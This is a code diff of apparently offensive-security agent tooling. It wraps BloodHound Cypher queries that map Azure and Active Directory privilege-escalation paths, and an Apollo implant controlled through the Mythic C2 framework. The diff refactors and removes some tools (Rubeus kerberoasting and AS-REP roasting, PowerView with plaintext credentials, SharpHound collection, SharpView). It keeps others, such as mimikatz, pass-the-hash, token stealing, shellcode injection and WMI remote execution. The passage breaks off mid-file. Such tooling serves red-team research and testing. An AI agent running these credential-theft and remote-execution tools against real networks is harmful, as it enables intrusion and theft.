Azure - General @tool_method() - async def find_global_administrators(self): + async def find_global_administrators(self) -> dict[str, t.Any]: query = """ MATCH p = (:AZBase)-[:AZGlobalAdmin*1..]->(:AZTenant) RETURN p @@ -671,7 +662,7 @@ async def find_global_administrators(self): return await self.query_bloodhound(query) @tool_method() - async def find_high_privileged_role_members(self): + async def find_high_privileged_role_members(self) -> dict[str, t.Any]: query = """ MATCH p=(t:AZRole)<-[:AZHasRole|AZMemberOf*1..2]-(:AZBase) WHERE t.name =~ '(?i)(Global Administrator|User Access Administrator|Privileged Role Administrator|Privileged Authentication Administrator|Partner Tier1 Support|Partner Tier2 Support)' @@ -682,7 +673,7 @@ async def find_high_privileged_role_members(self): # Azure - Shortest Paths @tool_method() - async def find_paths_from_entra_to_tier_zero(self): + async def find_paths_from_entra_to_tier_zero(self) -> dict[str, t.Any]: query = """ MATCH p=shortestPath((s:AZUser)-[r*1..]->(t:AZBase)) WHERE t.highvalue = true AND t.name =~ '(?i)(Global Administrator|User Access Administrator|Privileged Role Administrator|Privileged Authentication Administrator|Partner Tier1 Support|Partner Tier2 Support)' AND s<>t @@ -692,7 +683,7 @@ async def find_paths_from_entra_to_tier_zero(self): return await self.query_bloodhound(query) @tool_method() - async def find_paths_to_privileged_roles(self): + async def find_paths_to_privileged_roles(self) -> dict[str, t.Any]: query = """ MATCH p=shortestPath((s:AZBase)-[r*1..]->(t:AZRole)) WHERE t.name =~ '(?i)(Global Administrator|User Access Administrator|Privileged Role Administrator|Privileged Authentication Administrator|Partner Tier1 Support|Partner Tier2 Support)' AND s<>t @@ -702,7 +693,7 @@ async def find_paths_to_privileged_roles(self): return await self.query_bloodhound(query) @tool_method() - async def find_paths_from_azure_apps_to_tier_zero(self): + async def find_paths_from_azure_apps_to_tier_zero(self) -> dict[str, t.Any]: query = """ MATCH p=shortestPath((s:AZApp)-[r*1..]->(t:AZBase)) WHERE t.highvalue = true AND s<>t @@ -712,7 +703,7 @@ async def find_paths_from_azure_apps_to_tier_zero(self): return await self.query_bloodhound(query) @tool_method() - async def find_paths_to_azure_subscriptions(self): + async def find_paths_to_azure_subscriptions(self) -> dict[str, t.Any]: query = """ MATCH p=shortestPath((s:AZBase)-[r*1..]->(t:AZSubscription)) WHERE s<>t @@ -722,8 +713,8 @@ async def find_paths_to_azure_subscriptions(self): return await self.query_bloodhound(query) # Azure - Microsoft Graph - @tool_method()(name="sp_app_role_grant") - async def find_service_principals_with_app_role_grant(self): + @tool_method() + async def find_service_principals_with_app_role_grant(self) -> dict[str, t.Any]: query = """ MATCH p=(:AZServicePrincipal)-[:AZMGGrantAppRoles]->(:AZTenant) RETURN p @@ -731,8 +722,8 @@ async def find_service_principals_with_app_role_grant(self): """ return await self.query_bloodhound(query) - @tool_method()(name="find_sp_graph_assignments") - async def find_service_principals_with_graph_assignments(self): + @tool_method() + async def find_service_principals_with_graph_assignments(self) -> dict[str, t.Any]: query = """ MATCH p=(:AZServicePrincipal)-[:AZMGAppRoleAssignment_ReadWrite_All|AZMGApplication_ReadWrite_All|AZMGDirectory_ReadWrite_All|AZMGGroupMember_ReadWrite_All|AZMGGroup_ReadWrite_All|AZMGRoleManagement_ReadWrite_Directory|AZMGServicePrincipalEndpoint_ReadWrite_All]->(:AZServicePrincipal) RETURN p @@ -742,7 +733,7 @@ async def find_service_principals_with_graph_assignments(self): # Azure - Hygiene @tool_method() - async def find_foreign_tier_zero_principals(self): + async def find_foreign_tier_zero_principals(self) -> dict[str, t.Any]: query = """ MATCH (n:AZServicePrincipal) WHERE n.highvalue = true @@ -754,7 +745,7 @@ async def find_foreign_tier_zero_principals(self): return await self.query_bloodhound(query) @tool_method() - async def find_synced_tier_zero_principals(self): + async def find_synced_tier_zero_principals(self) -> dict[str, t.Any]: query = """ MATCH (ENTRA:AZBase) MATCH (AD:Base) @@ -767,7 +758,7 @@ async def find_synced_tier_zero_principals(self): return await self.query_bloodhound(query) @tool_method() - async def find_external_tier_zero_users(self): + async def find_external_tier_zero_users(self) -> dict[str, t.Any]: query = """ MATCH (n:AZUser) WHERE n.highvalue = true @@ -778,7 +769,7 @@ async def find_external_tier_zero_users(self): return await self.query_bloodhound(query) @tool_method() - async def find_disabled_azure_tier_zero_principals(self): + async def find_disabled_azure_tier_zero_principals(self) -> dict[str, t.Any]: query = """ MATCH (n:AZBase) WHERE n.highvalue = true @@ -789,7 +780,7 @@ async def find_disabled_azure_tier_zero_principals(self): return await self.query_bloodhound(query) @tool_method() - async def find_devices_unsupported_os(self): + async def find_devices_unsupported_os(self) -> dict[str, t.Any]: query = """ MATCH (n:AZDevice) WHERE n.operatingsystem CONTAINS 'WINDOWS' @@ -801,7 +792,7 @@ async def find_devices_unsupported_os(self): # Azure - Cross Platform Attack Paths @tool_method() - async def find_entra_users_in_domain_admins(self): + async def find_entra_users_in_domain_admins(self) -> dict[str, t.Any]: query = """ MATCH p = (:AZUser)-[:SyncedToADUser]->(:User)-[:MemberOf]->(t:Group) WHERE t.objectid ENDS WITH '-512' @@ -811,7 +802,7 @@ async def find_entra_users_in_domain_admins(self): return await self.query_bloodhound(query) @tool_method() - async def find_onprem_users_owning_entra_objects(self): + async def find_onprem_users_owning_entra_objects(self) -> dict[str, t.Any]: query = """ MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZOwns]->(:AZBase) RETURN p @@ -820,7 +811,7 @@ async def find_onprem_users_owning_entra_objects(self): return await self.query_bloodhound(query) @tool_method() - async def find_onprem_users_in_entra_groups(self): + async def find_onprem_users_in_entra_groups(self) -> dict[str, t.Any]: query = """ MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZMemberOf]->(:AZGroup) RETURN p @@ -828,8 +819,8 @@ async def find_onprem_users_in_entra_groups(self): """ return await self.query_bloodhound(query) - @tool_method()(name="templates_no_security_ext") - async def find_templates_no_security_extension(self): + @tool_method() + async def find_templates_no_security_extension(self) -> dict[str, t.Any]: query = """ MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) WHERE ct.nosecurityextension = true @@ -838,8 +829,8 @@ async def find_templates_no_security_extension(self): """ return await self.query_bloodhound(query) - @tool_method()(name="templates_with_user_san") - async def find_templates_with_user_specified_san(self): + @tool_method() + async def find_templates_with_user_specified_san(self) -> dict[str, t.Any]: query = """ MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(eca:EnterpriseCA) WHERE eca.isuserspecifiessanenabled = True @@ -849,7 +840,7 @@ async def find_templates_with_user_specified_san(self): return await self.query_bloodhound(query) @tool_method() - async def find_ca_administrators(self): + async def find_ca_administrators(self) -> dict[str, t.Any]: query = """ MATCH p = (:Base)-[:ManageCertificates|ManageCA]->(:EnterpriseCA) RETURN p @@ -857,8 +848,8 @@ async def find_ca_administrators(self): """ return await self.query_bloodhound(query) - @tool_method()(name="onprem_users_direct_entra_roles") - async def find_onprem_users_with_direct_entra_roles(self): + @tool_method() + async def find_onprem_users_with_direct_entra_roles(self) -> dict[str, t.Any]: query = """ MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZHasRole]->(:AZRole) RETURN p @@ -866,8 +857,8 @@ async def find_onprem_users_with_direct_entra_roles(self): """ return await self.query_bloodhound(query) - @tool_method()(name="onprem_users_group_entra_roles") - async def find_onprem_users_with_group_entra_roles(self): + @tool_method() + async def find_onprem_users_with_group_entra_roles(self) -> dict[str, t.Any]: query = """ MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZMemberOf]->(:AZGroup)-[:AZHasRole]->(:AZRole) RETURN p @@ -875,8 +866,8 @@ async def find_onprem_users_with_group_entra_roles(self): """ return await self.query_bloodhound(query) - @tool_method()(name="onprem_users_direct_azure_roles") - async def find_onprem_users_with_direct_azure_roles(self): + @tool_method() + async def find_onprem_users_with_direct_azure_roles(self) -> dict[str, t.Any]: query = """ MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZOwner|AZUserAccessAdministrator|AZGetCertificates|AZGetKeys|AZGetSecrets|AZAvereContributor|AZKeyVaultContributor|AZContributor|AZVMAdminLogin|AZVMContributor|AZAKSContributor|AZAutomationContributor|AZLogicAppContributor|AZWebsiteContributor]->(:AZBase) RETURN p @@ -884,8 +875,8 @@ async def find_onprem_users_with_direct_azure_roles(self): """ return await self.query_bloodhound(query) - @tool_method()(name="onprem_users_group_azure_roles") - async def find_onprem_users_with_group_azure_roles(self): + @tool_method() + async def find_onprem_users_with_group_azure_roles(self) -> dict[str, t.Any]: query = """ MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZMemberOf]->(:AZGroup)-[:AZOwner|AZUserAccessAdministrator|AZGetCertificates|AZGetKeys|AZGetSecrets|AZAvereContributor|AZKeyVaultContributor|AZContributor|AZVMAdminLogin|AZVMContributor|AZAKSContributor|AZAutomationContributor|AZLogicAppContributor|AZWebsiteContributor]->(:AZBase) RETURN p @@ -896,7 +887,7 @@ async def find_onprem_users_with_group_azure_roles(self): @tool_method() async def find_paths_user_to_user( self, source_user: str, target_user: str, domain: str - ) -> dict: + ) -> dict[str, t.Any]: """search for potential exploit/attack paths from source_user to target_user on the given domain""" query = f""" MATCH p=shortestPath((user1:User)-[*]->(user2:User)) @@ -905,164 +896,3 @@ async def find_paths_user_to_user( RETURN p """ return await self.query_bloodhound(query) - - @tool_method() - async def upload_collection_zip(self, filename: str) -> dict: - """Upload a Bloodhound collection zip file (that was collected via SharpHound)""" - - if self._api_auth_token is None or self._api_auth_token.get("auth_expired", True): - await self._api_authenticate() - - start_job = { - "url": f"http://{self.config['url']}/api/v2/file-upload/start", - "headers": { - "accept": "application/json", - "Authorization": f"Bearer {self._api_auth_token['session_token']}", - }, - } - job_record = await self._async_post_request(resp_type="json", **start_job) - job_record = job_record["data"] - - if not job_record.get("id", False): - err_msg = ( - f"Could not start collection upload on Bloodhound server. Error: {job_record}." - ) - logger.error(self._rich_print(err_msg)) - return err_msg - - # 2. upload Bloodhound collection files - upload_fn = Path.resolve(filename) - upload_job = { - "url": f"http://{self.config['url']}/api/v2/file-upload/{job_record['id']}", - "headers": { - "accept": "application/zip", - "Authorization": f"Bearer {self._api_auth_token['session_token']}", - }, - } - try: - upload_job_status = await self._async_post_file(filename=upload_fn, **upload_job) - logger.info( - self._rich_print( - f"Collection file upload initiated: {upload_fn}.\n\nStatus: {upload_job_status}" - ) - ) - except Exception as e: - err_msg = f"Error uploading collection file to Bloodhound: {e}" - logger.error(self._rich_print(err_msg)) - return err_msg - - # await asyncio.sleep(45) - # 3. end Bloodhound server upload job - end_job = { - "url": f"http://{self.config['url']}/api/v2/file-upload/{job_record['id']}/end", - "headers": { - "accept": "application/json", - "Authorization": f"Bearer {self._api_auth_token['session_token']}", - }, - } - end_job_record = await self._async_post_request(resp_type="text", **end_job) - - upload_job_done, upload_job_status = await self.wait_for_upload_completion( - job_id=job_record["id"], seconds=60 - ) - if not upload_job_done: - err_msg = f"Timeout error of collection file upload for {upload_fn}.\n\n Dumping upload job status: {upload_job_status}" - logger.error(self._rich_print(err_msg)) - return err_msg - - success_msg = f"Successfully uploaded {filename} collection file to Bloodhound." - logger.info(self._rich_print(success_msg)) - - return success_msg - - """ Utilities """ - - async def clear_database(self) -> str: - """clears the bloodhound database""" - clear_db_req = { - "url": f"http://{self.config['url']}/api/v2/clear-database", - "headers": { - "accept": "application/plain", - "Content-Type": "application/json", - "Authorization": f"Bearer {self._api_auth_token['session_token']}", - }, - "data": json.dumps( - { - "deleteCollectedGraphData": True, - "deleteFileIngestHistory": False, - "deleteDataQualityHistory": True, - "deleteAssetGroupSelectors": [0], - } - ), - } - clear_status = await self._async_post_request(**clear_db_req) - logger.info(self._rich_print(f"Cleared Bloodhound database - {clear_status}")) - return clear_status - - async def wait_for_upload_completion(self, job_id: int, seconds: int = 10) -> tuple[bool, dict]: - """ """ - start_time = int(time.time()) - while True: - await asyncio.sleep(2) - job_done, job_status = await self.upload_job_status(job_id=job_id) - if job_done: - break - if start_time + seconds < int(time.time()): - break - return job_done, job_status - - async def upload_job_status(self, job_id: int) -> tuple[bool, dict]: - """ """ - upload_status_job = { - "url": f"http://{self.config['url']}/api/v2/file-upload?id={job_id!s}", - "headers": { - "accept": "application/json", - "Authorization": f"Bearer {self._api_auth_token['session_token']}", - }, - } - job_statuses = await self._async_get_request(resp_type="json", **upload_status_job) - job_status = next(j for j in job_statuses["data"] if j["id"] == job_id) - job_done = True if job_status["status"] == 2 else False - return job_done, job_status - - async def _async_get_request(self, resp_type: str | None = None, **kwargs) -> dict: - """ """ - async with aiohttp.ClientSession() as session, session.get(**kwargs) as resp: - if resp_type == "json": - return await resp.json() - if resp_type == "text": - return await resp.text() - return str(resp) - - async def _async_post_request(self, resp_type: str | None = None, **kwargs) -> dict: - response = None - async with aiohttp.ClientSession() as session, session.post(**kwargs) as resp: - if resp_type == "json": - response = await resp.json() - elif resp_type == "text": - response = await resp.text() - else: - response = str(resp) - return response - - async def _async_post_file(self, url: str, filename: str, **kwargs) -> dict: - response = None - with Path.open(filename, "rb") as fh: - async with ( - aiohttp.ClientSession() as session, - session.post(url, data=fh, **kwargs) as resp, - ): - if resp.status != 202: - resp.raise_for_status() - response = resp - return response - - def _rich_print(self, text: str): - """ """ - return rich.print( - Panel( - f"[white]{text}", - title="[red]Bloodhound", - style="red", - ) - ) diff --git a/dreadnode/agent/tools/filesystem/tool.py b/dreadnode/agent/tools/filesystem/tool.py index aed837d4..0308ac4b 100644 --- a/dreadnode/agent/tools/filesystem/tool.py +++ b/dreadnode/agent/tools/filesystem/tool.py @@ -122,7 +122,7 @@ def _relative(self, path: UPath) -> str: def read_file( self, path: t.Annotated[str, "Path to the file to read"], - ) -> rg.ContentImageUrl | str: + ) -> rg.ContentImageUrl | str | t.Any: """ Read a file and return its contents. """ diff --git a/dreadnode/agent/tools/mythic/apollo/tool.py b/dreadnode/agent/tools/mythic/apollo/tool.py index 9ac90ae2..2579cabe 100644 --- a/dreadnode/agent/tools/mythic/apollo/tool.py +++ b/dreadnode/agent/tools/mythic/apollo/tool.py @@ -1,14 +1,10 @@ -import tempfile import typing as t from dataclasses import dataclass from pathlib import Path -from uuid import uuid4 -import aiofiles -import rich from loguru import logger from mythic import mythic # type: ignore -from rich.panel import Panel +from mythic.mythic import Mythic # type: ignore from dreadnode.agent.tools import Toolset, tool_method @@ -20,7 +16,7 @@ @dataclass class Apollo(Toolset): - _client = None + _client: Mythic = None _callback_id: int | None = None _intialized: bool = False @@ -76,7 +72,7 @@ async def execute( """ Executes supplied command to the Apollo implant through the Mythic C2 framework """ - logger.debug(self._rich_print(f"Executing command: {command} with args: {args}")) + logger.debug(f"Executing command: {command} with args: {args}") try: output_bytes = await mythic.issue_task_and_waitfor_task_output( @@ -88,15 +84,15 @@ async def execute( ) except (TimeoutError, ValueError) as e: output = f"An unexpected error occured when trying to execute previous command. The error is:\n\n{e}.\n. Sometimes the command just needs to be re-executed, however if already tried to re-execute the command, best to move on to another." - logger.warning(self._rich_print(output)) + logger.warning(output) return output if not output_bytes: output = f"Command '{command}' returned no output." - logger.debug(self._rich_print(output)) + logger.debug(output) return output - logger.debug(self._rich_print(f"Command output: {output}")) + logger.debug(f"Command output: {output}") return str(output_bytes.decode() if isinstance(output_bytes, bytes) else output_bytes) @@ -147,12 +143,10 @@ async def cp( return await self.execute( command="cp", - args=[ - "-source", - source, - "-dest", - dest, - ], + args={ + "-source": source, + "-dest": dest, + }, ) @tool_method() @@ -205,10 +199,7 @@ async def jobkill( jobkill -jid 67890 jobkill {"jid": 12345} """ - return await self.execute( - command="jobkill", - args=jid, - ) + return await self.execute(command="jobkill", args={"jid": jid}) @tool_method() async def jobs(self) -> str: @@ -298,7 +289,7 @@ async def mimikatz( args=commands, ) - @tool_method()( + @tool_method( name="net_dclist", description="Enumerate Domain Controllers for the specified domain (or the current domain).", ) @@ -309,11 +300,9 @@ async def net_dclist( "The target domain for which to enumerate Domain Controllers. Defaults to the current domain if omitted.", ], ) -> str: - domain = "" if not domain or "null" in domain.lower() else {"Domain": domain} - return await self.execute( command="net_dclist", - args=domain, + args={"Domain": domain}, ) @tool_method() @@ -376,12 +365,13 @@ async def net_shares( return await self.execute( command="net_shares", - args=computer, + args={"Computer": computer}, ) @tool_method() async def netstat(self) -> str: """Display active TCP/UDP connections and listening ports on the target system. This includes information about the local and remote addresses, port numbers, and connection states.""" + return await self.execute(command="netstat", args="") @tool_method() @@ -415,80 +405,6 @@ async def powershell_import( command="powershell_import", args={"existingFile": filename}, timeout=60 ) - @tool_method() - async def powershell_script( - self, - filename: t.Annotated[str, "File name of powershell script."], - script: t.Annotated[str, "Powershell script. Encoded as a raw string."], - entry_function: t.Annotated[ - str, - "Name of the Powershell entry function to call to start execution of the script.", - ], - ) -> str: - """ - Executes the supplied powershell script on a target host. Supply the powershell script as a string. The powershell script must be composed of powershell functions where one of these functions will be the entry function that will be called to start the script. - """ - if not filename.endswith(".ps1"): - filename = f"{filename}.ps1" - - # NOTE: cant use Python tempfile here as need specific filename - local_tmp_file = await self._write_tmp_file(filename=filename, text=script) - - # 2. upload powershell script file to Mythic server - upload_result = await self._client.upload_file_to_mythic_server( - filename=local_tmp_file, reupload=True - ) - await self._delete_local_file(local_tmp_file) - if upload_result["file_id"] is None: - return "Error running 'powershell_script' commmand.\n\n Attempting to upload powershell script file to Mythic led to unknown error." - - pi_result = await self.powershell_import(filename) - - if "will now be imported in PowerShell commands" not in pi_result: - return "Error running 'powershell_import' Mythic command." - - return await self.powerpick(command=entry_function) - - @tool_method() - async def powerview( - self, - command: t.Annotated[ - str, - "Powerview command line arguments to supply to the powershell instance and execute.", - ], - credential_user: t.Annotated[ - str | None, "username to execute Powerview commands as specified user" - ] = None, - credential_password: t.Annotated[ - str | None, "password to execute Powerview commands as specified user" - ] = None, - domain: t.Annotated[ - str | None, "domain to execute Powerview commands as specified user" - ] = None, - ) -> str: - """ - Imports PowerView into Powershell (for use) and then executes the supplied command line arguments in current Powershell instance. - - """ - - powerview_script_filename = "PowerView.ps1" - upload_result = await self._client.upload_file_to_mythic_server( - filename=SCRIPTS_DIR / powerview_script_filename, - reupload=False, - ) - if upload_result["file_id"] is None: - return f"Error running 'powerview' command.\n\n Attempting to upload {powerview_script_filename} file to Mythic led to unknown error." - logger.info(self._rich_print(f"Uploaded {powerview_script_filename} to Mythic.")) - - pi_result = await self.powershell_import(filename=upload_result["filename"]) - if "will now be imported in PowerShell commands" not in pi_result: - return f"Error running [COMMAND] 'powershell_import': - {pi_result}." - - if all([credential_user, credential_password, domain]): - powerview_cmd = f"{command} -Credential (New-Object -TypeName 'System.Management.Automation.PSCredential' -ArgumentList '{domain}\\{credential_user}', (ConvertTo-SecureString -String '{credential_password}' -AsPlainText -Force))" - - return await self.powerpick(command=powerview_cmd) - @tool_method() async def pth( self, @@ -509,14 +425,11 @@ async def pth( """ return await self.execute( command="pth", - args=[ - "-domain", - domain, - "-username", - username, - "-password_hash", - password_hash, - ], + args={ + "-domain": domain, + "-username": username, + "-password_hash": password_hash, + }, ) @tool_method() @@ -564,11 +477,7 @@ async def register_assembly( """ Registers (loads) assembly files/commands to a Mythic agent. """ - return await self.execute( - command="register_assembly", - args={"existingFile": filename}, - fix_dependencies=False, - ) + return await self.execute(command="register_assembly", args={"existingFile": filename}) @tool_method() async def rev2self(self) -> str: @@ -582,44 +491,6 @@ async def rev2self(self) -> str: args="", ) - @tool_method() - async def rubeus_asreproast(self) -> str: - """ - Execute ASREP-Roast technique against current domain using the Rubeus tool. The technique extracts kerberos ticket-granting tickets for active directory users that dont require pre-authentication on the domain. If ticket-granting tickets can be obtained, they will be returned (in hash form) - .""" - return await self.execute( - command="execute_assembly", args="Rubeus.exe asreproast /format:hashcat" - ) - - @tool_method() - async def rubeus_kerberoast( - self, - cred_user: t.Annotated[ - str, - "principal domain user to execute the command under, formatted in fqdn format: 'domain\\user'", - ], - cred_password: t.Annotated[str, "principal domain user password"], - user: t.Annotated[str | None, "specific domain user to target for kerberoasting"] = None, - spn: t.Annotated[str | None, "specific SPN to target for kerberoasting"] = None, - ) -> str: - """ - Kerberoast a user current domain using the Rubeus tool. The tool extracts kerberos ticket-granting tickets for active directory users that have service principal names (SPNs) set. To use 'rubeus_kerberoast' tool, you must have a username and password of existing user on the active directory domain. If ticket-granting tickets for the SPN accounts can be obtained, they will be returned (in a hash format). - """ - args = f"Rubeus.exe kerberoast /creduser:{cred_user} /credpassword:{cred_password} /format:hashcat" - - if user is not None: - args += f" /user:{user}" - - if spn is not None: - args += f" /spn:{spn}" - - return await self.execute(command="execute_assembly", args=args) - - @tool_method() - async def seatbelt(self) -> str: - """Performs a number of security oriented host-survey 'safety checks' relevant from both offensive and defensive security perspectives.""" - return await self.execute(command="execute_assembly", args="Seatbelt.exe") - @tool_method() async def set_injection_technique( self, @@ -639,219 +510,6 @@ async def set_injection_technique( args=technique, ) - @tool_method() - async def setspn(self, args: t.Annotated[str, "Command line arguments for setspn tool"]) -> str: - """ - Allows for reading, modifying, and detelting the Service Principal Names (SPN) directory property for an Active Directory (AD) account. You can use setspn to view the current SPNs for an account, reset the account's default SPNs, and add or delete supplemental SPNs. - - Reference: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setspn - """ - return await self.powerpick(arguments=f"($sspn = setspn {args}); echo $sspn") - - @tool_method() - async def sharphound_and_download( - self, - domain: t.Annotated[str, "domain to enumerate."], - ldap_username: t.Annotated[str | None, "LDAP username to use for Sharphound."] = None, - ldap_password: t.Annotated[str | None, "LDAP username to use for Sharphound."] = None, - local_filename: t.Annotated[str | None, "Filename"] = None, - ) -> str | dict: - """ - Run sharphound on the target callback to collect Bloodhound data. Then download the - Bloodhound results file to a local file. "local" being wherever the agent is running. - """ - - upload_result = await self.upload( - filename=SCRIPTS_DIR / "SharpHound.ps1", - reupload=False, - ) - if upload_result["file_id"] is None: - return "Error running command 'sharphound_and_download'.\n\n Attempting to upload powershell script file to Mythic led to unknown error." - logger.info(self._rich_print("Uploaded SharpHound to Mythic.")) - - pi_result = await self.powershell_import(filename=upload_result["filename"]) - if "will now be imported in PowerShell commands" not in pi_result: - return f"Error running 'sharphound_and_download': {pi_result}" - - zip_filename_marker = f"{uuid4()!s}.zip" - sharp_cmd = f"Invoke-BloodHound -Zipfilename {zip_filename_marker} -Domain {domain}" - if all([ldap_username, ldap_username]): - sharp_cmd += f" --ldapusername {ldap_username} --ldappassword {ldap_password}" - - sharphound_result = await self.powerpick(command=sharp_cmd, timeout=120) - - if "SharpHound Enumeration Completed" not in sharphound_result: - return f"Error running 'sharphound_and_download'.\n\n Command response:\n{sharphound_result}" - - sharp_results_fn = await self.powerpick( - command=f"(Get-ChildItem -Path .\\ -Filter '*{zip_filename_marker}').name", - fix_dependencies=True, - ) - - if zip_filename_marker not in sharp_results_fn: - return f"Error running 'sharphound_and_download'.\n\n Command response:\n{sharp_results_fn}" - - sharp_results_fn = sharp_results_fn.strip("\r\n").split("\r\n")[-1] - - local_download_file = await self.download(filepath=sharp_results_fn) - - if not isinstance(local_download_file, dict): - return f"Error running 'sharphound_and_download'.\n\n Command response:\n{local_download_file}" - logger.info(self._rich_print(f"Downloaded file to:{local_download_file['path']}")) - - # 6. rename local file if supplied Command specified a specific filename to use - if local_filename: - Path.rename(local_download_file.path, local_filename) - logger.info( - self._rich_print( - f"Renamed filename from {local_download_file.path} to {local_filename}" - ) - ) - local_download_file["path"] = str(Path(local_filename).resolve()) - local_download_file["name"] = Path(local_download_file["path"]).name - - return local_download_file - - @tool_method() - async def sharpview( - self, - method: t.Annotated[str, "SharpView method to execute"], - method_args: t.Annotated[str, "arguments for the selected SharpView method"], - ) -> str: - """ - Used to gain network situational awareness on Windows domains. - - Available methods to use for the tool: - - Get-DomainGPOUserLocalGroupMapping - Find-GPOLocation - Get-DomainGPOComputerLocalGroupMapping - Find-GPOComputerAdmin - Get-DomainObjectAcl - Get-ObjectAcl - Add-DomainObjectAcl - Add-ObjectAcl - Remove-DomainObjectAcl - Get-RegLoggedOn - Get-LoggedOnLocal - Get-NetRDPSession - Test-AdminAccess - Invoke-CheckLocalAdminAccess - Get-WMIProcess - Get-NetProcess - Get-WMIRegProxy - Get-Proxy - Get-WMIRegLastLoggedOn - Get-LastLoggedOn - Get-WMIRegCachedRDPConnection - Get-CachedRDPConnection - Get-WMIRegMountedDrive - Get-RegistryMountedDrive - Find-InterestingDomainAcl - Invoke-ACLScanner - Get-NetShare - Get-NetLoggedon - Get-NetLocalGroup - Get-NetLocalGroupMember - Get-NetSession - Get-PathAcl - ConvertFrom-UACValue - Get-PrincipalContext - New-DomainGroup - New-DomainUser - Add-DomainGroupMember - Set-DomainUserPassword - Invoke-Kerberoast - Export-PowerViewCSV - Find-LocalAdminAccess - Find-DomainLocalGroupMember - Find-DomainShare - Find-DomainUserEvent - Find-DomainProcess - Find-DomainUserLocation - Find-InterestingFile - Find-InterestingDomainShareFile - Find-DomainObjectPropertyOutlier - TestMethod - Get-Domain - Get-NetDomain - Get-DomainComputer - Get-NetComputer - Get-DomainController - Get-NetDomainController - Get-DomainFileServer - Get-NetFileServer - Convert-ADName - Get-DomainObject - Get-ADObject - Get-DomainUser - Get-NetUser - Get-DomainGroup - Get-NetGroup - Get-DomainDFSShare - Get-DFSshare - Get-DomainDNSRecord - Get-DNSRecord - Get-DomainDNSZone - Get-DNSZone - Get-DomainForeignGroupMember - Find-ForeignGroup - Get-DomainForeignUser - Find-ForeignUser - ConvertFrom-SID - Convert-SidToName - Get-DomainGroupMember - Get-NetGroupMember - Get-DomainManagedSecurityGroup - Find-ManagedSecurityGroups - Get-DomainOU - Get-NetOU - Get-DomainSID - Get-Forest - Get-NetForest - Get-ForestTrust - Get-NetForestTrust - Get-DomainTrust - Get-NetDomainTrust - Get-ForestDomain - Get-NetForestDomain - Get-DomainSite - Get-NetSite - Get-DomainSubnet - Get-NetSubnet - Get-DomainTrustMapping - Invoke-MapDomainTrust - Get-ForestGlobalCatalog - Get-NetForestCatalog - Get-DomainUserEvent - Get-UserEvent - Get-DomainGUIDMap - Get-GUIDMap - Resolve-IPAddress - Get-IPAddress - ConvertTo-SID - Invoke-UserImpersonation - Invoke-RevertToSelf - Get-DomainSPNTicket - Request-SPNTicket - Get-NetComputerSiteName - Get-SiteName - Get-DomainGPO - Get-NetGPO - Set-DomainObject - Set-ADObject - Add-RemoteConnection - Remove-RemoteConnection - Get-IniContent - Get-GptTmpl - Get-GroupsXML - Get-DomainPolicyData - Get-DomainPolicy - Get-DomainGPOLocalGroup - Get-NetGPOGroup - """ - return await self.powerpick(f"Invoke-SharpView -Method {method} -Arguments {method_args}") - @tool_method() async def shinject(self) -> str: """ @@ -894,7 +552,7 @@ async def spawnto_x64( """ return await self.execute( command="spawnto_x64", - args=[path, args] if args else [path], + args={"-Path": path, "-Args": args} if args else {"-Path": path}, ) @tool_method() @@ -913,7 +571,7 @@ async def steal_token( """ return await self.execute( command="steal_token", - args=pid, + args={"-pid", pid}, ) @tool_method() @@ -960,7 +618,7 @@ async def whoami(self) -> str: async def wmiexecute( self, arguments: t.Annotated[str, "The command or script block to execute on the remote system."], - ): + ) -> str: """Execute a command on a remote system using WMI (Windows Management Instrumentation). This allows for executing commands remotely without needing to establish a direct connection. Examples: @@ -970,48 +628,3 @@ async def wmiexecute( command="wmiexecute", args=arguments, ) - - async def _write_tmp_file( - self, filename: str, text: str | None = None, raw_bytes: bytes | None = None - ) -> str: - """creates a file, also in a temporary directory, and writes supplied contents. - - Returns: absolute filepath - """ - if not any([raw_bytes, text]): - raise TypeError("File contents, as bytes or text must be supplied.") - - tmp_dir = tempfile.TemporaryDirectory(delete=False) - fullpath = Path(tmp_dir.name) / filename - - if raw_bytes: - async with aiofiles.open(fullpath, mode="wb") as fh: - await fh.write(raw_bytes) - elif text: - async with aiofiles.open(fullpath, mode="w") as fh: - await fh.write(text) - - return str(fullpath) - - async def _delete_local_file(self, filename: str) -> None: - """delete a local file""" - try: - fp = Path.resolve(filename) - Path.unlink(fp) - except (FileNotFoundError, OSError) as e: - logger.warning(self._rich_print(f"Error trying to delete file {filename}: {e}")) - - async def _delete_local_file_and_dir(self, filename: str) -> None: - """delete a local file and its parent directory""" - try: - fp = Path.resolve(filename) - Path.unlink(fp) - Path.rmdir(Path.parent(fp)) - except (FileNotFoundError, OSError) as e: - logger.warning( - self._rich_print(f"Error trying to delete file and directory {filename}: {e}") - ) - - def _rich_print(self, s: str) -> str: - """utility for rich printing logs""" - return rich.print(Panel(f"[white]{s}", title="[red1]Mythic", style="red1")) diff --git a/dreadnode/agent/tools/mythic/powerview.py b/dreadnode/agent/tools/mythic/powerview.py new file mode 100644 index 00000000..5c938733 --- /dev/null +++ b/dreadnode/agent/tools/mythic/powerview.py @@ -0,0 +1,46 @@ +# import typing as t + +# from loguru import logger + +# from dreadnode.agent.tools import tool + + +# @tool +# async def powerview( +# self, +# command: t.Annotated[ +# str, +# "Powerview command line arguments to supply to the powershell instance and execute.", +# ], +# credential_user: t.Annotated[ +# str | None, "username to execute Powerview commands as specified user" +# ] = None, +# credential_password: t.Annotated[ +# str | None, "password to execute Powerview commands as specified user" +# ] = None, +# domain: t.Annotated[ +# str | None, "domain to execute Powerview commands as specified user" +# ] = None, +# ) -> str: +# """ +# Imports PowerView into Powershell (for use) and then executes the supplied command line arguments in current Powershell instance. + +# """ + +# powerview_script_filename = "PowerView.ps1" +# upload_result = await self._client.upload_file_to_mythic_server( +# filename=SCRIPTS_DIR / powerview_script_filename, +# reupload=False, +# ) +# if upload_result["file_id"] is None: +# return f"Error running 'powerview' command.\n\n 